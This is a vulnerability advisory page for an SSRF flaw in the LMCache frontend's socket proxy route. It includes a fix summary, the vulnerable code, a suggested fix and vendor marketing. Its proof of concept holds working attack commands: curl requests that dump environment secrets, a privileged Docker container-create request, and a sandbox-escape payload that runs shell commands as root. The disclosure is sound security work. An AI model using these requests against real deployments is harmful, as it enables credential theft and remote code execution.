
Cloud Vulnerability DB
A community-led vulnerabilities database
Fixed in 0.5.8 (#6497). The proxy now forwards only to UNIX sockets declared at startup (--nodes, --config or --uds-allowlist) and returns 403 for any other socket path, with or without an API key. Sockets the operator declared remain reachable without authentication unless a frontend API key is configured (--api-key-file, LMCACHE_API_KEY or LMCACHE_API_KEY_FILE, available since 0.5.7). The frontend still binds 0.0.0.0 by default.
The LMCache frontend (lmcache/lmcache_frontend/app.py, shipped in the 0.5.6 wheel) binds 0.0.0.0 by default. Its /proxy/{target_host}/{target_port_or_socket}/{path} route enforces a registry check on TCP targets
In lmcache/lmcache_frontend/app.py:
@router.api_route(
"/proxy/{target_host}/{target_port_or_socket}/{path:path}",
methods=["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD"],
)
async def proxy_request(request, target_host, target_port_or_socket, path):
"""...
For security, non-socket targets must match a host/port already
registered in :data:`_node_registry`; this prevents the endpoint
from being used as an open relay (SSRF). Socket paths are
accepted as-is because they are local UDS endpoints.
"""
target_port_or_socket = unquote(str(target_port_or_socket))
is_socket_path = "/" in target_port_or_socket
if is_socket_path:
socket_path = target_port_or_socket # no validation at all
target_url = f"http://localhost/{path}"
transport = httpx.AsyncHTTPTransport(uds=socket_path)
else:
resolved = _node_registry.resolve(target_host, port)
if resolved is None:
raise HTTPException(status_code=403, ...)The guard works, for TCP. The branch beside it skips the guard entirely. The reasoning in the docstring - "Socket paths are accepted as-is because they are local UDS endpoints" - is true of where the connection goes but not of who may ask for it. Local is a property of the socket, not of the caller, and the caller is anyone who can reach the frontend's port. Reachability comes from two defaults. --host defaults to 0.0.0.0 in the argparse block of the same file, and the shipped lmcache/lmcache_frontend/run_mp_server_with_frontend.sh describes the HTTP endpoint as "outward-facing" with HTTP_HOST="${HTTP_HOST:-0.0.0.0}". The frontend app registers no authentication: no middleware, no dependency, no key. The API-key middleware added to the MP HTTP server in #5756 (lmcache/v1/multiprocess/http_auth.py) is not applied to this app. What the primitive then reaches is your internal API server, which has no authentication of its own because docs/source/production/observability/frontend.rst places it on UNIX sockets:
extra_config:
plugin.frontend.port: 8080
internal_api_server_enabled: True
internal_api_server_port_start: 9090
run_script_api_enabled: True
internal_api_server_socket_path_prefix: "/tmp/lmcache_internal_api_server/socket"One further note on /run_script. Its existence is not the bug - it is off by default and its own 404 message is honest about executing caller-supplied code. But its exec sandbox provides no containment: print.self returns the real builtins module, so the builtins allowlist and the restricted_import hook are both one attribute access from irrelevant. An operator who enabled it on the strength of the production frontend page, believing the endpoint was local-only, is remotely executable. Suggested fix: validate the socket branch the way the TCP branch is validated - canonicalise the path and resolve it against _node_registry, rejecting anything not registered, rather than passing the caller's string into the UDS transport. Separately, the frontend should not default to 0.0.0.0, and should accept the same bearer key the MP HTTP server now uses.
About five minutes, all on one machine.
pip install lmcache==0.5.6
cat > config.json <<'EOF'
[{"name":"node1","host":"127.0.0.1","port":"9999"}]
EOF
python -m lmcache.lmcache_frontend.app --config config.json --port 8080It prints: Monitoring service running at http://0.0.0.0:8080 2. Confirm the SSRF guard is real - proxy to a host that is not a registered node
curl -s "http://127.0.0.1:8080/proxy/169.254.169.254/80/latest/meta-data/"Returns HTTP 403, {"detail":"Target 169.254.169.254:80 is not a registered node"}. 3. Put any HTTP service on a UNIX socket, standing in for a local-only daemon
python - <<'EOF'
import http.server, socketserver, os
SOCK = "/tmp/pwn_victim.sock"
if os.path.exists(SOCK): os.unlink(SOCK)
class H(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def do_GET(self):
print("DAEMON GOT:", self.command, self.path, flush=True)
b = b'{"secret":"UDS-ONLY-NEVER-EXPOSED"}'
self.send_response(200); self.send_header("Content-Length", str(len(b)))
self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
class S(socketserver.UnixStreamServer):
def get_request(self):
r, _ = super().get_request(); return r, ("local", 0)
with S(SOCK, H) as s:
os.chmod(SOCK, 0o666); print("listening on", SOCK, flush=True); s.serve_forever()
EOFcurl -s "http://127.0.0.1:8080/proxy/anyhost/%252Ftmp%252Fpwn_victim.sock/anything"Observed: HTTP 200 and {"secret":"UDS-ONLY-NEVER-EXPOSED"}, with no registration and no credential. Expected: HTTP 403, as in step 2. Method and body are the caller's too:
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"Image":"alpine","HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
"http://127.0.0.1:8080/proxy/anyhost/%252Ftmp%252Fpwn_victim.sock/v1.47/containers/create"and the daemon logs that request verbatim. 5. Against your own internal API server, configured per the production frontend page, the same route gives:
# entire process environment, including HF/cloud tokens
curl -s "http://127.0.0.1:8080/proxy/x/%252Ftmp%252Flmcache_internal_api_server_socket_9090/env"
# remote code execution where run_script_api_enabled is set
cat > payload.py <<'EOF'
real_builtins = print.__self__
result = real_builtins.__import__("subprocess").check_output(
["/bin/sh", "-c", "id; hostname"]
).decode()
EOF
curl -s -X POST -F "script=@payload.py" \
"http://127.0.0.1:8080/proxy/x/%252Ftmp%252Flmcache_internal_api_server_socket_9090/run_script"Output from the confirming run:
"HF_TOKEN": "hf_CANARY_NEVER_LEAVES_THIS_HOST",
uid=0(root) gid=0(root) groups=0(root)Server-side request forgery to arbitrary local UNIX domain sockets (CWE-918) on an endpoint with no authentication (CWE-306). Affected: any deployment running the LMCache frontend. It ships in the published wheel and is documented for production in docs/source/production/observability/frontend.rst. It binds all interfaces by default, so the attacker is anyone who can reach its port - and in a deployment that followed your Secure Deployment Guidance exactly, with management services on UNIX sockets and the frontend on a trusted cluster network, that is any peer on that network. Confirmed consequences, in your own documented configuration:
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."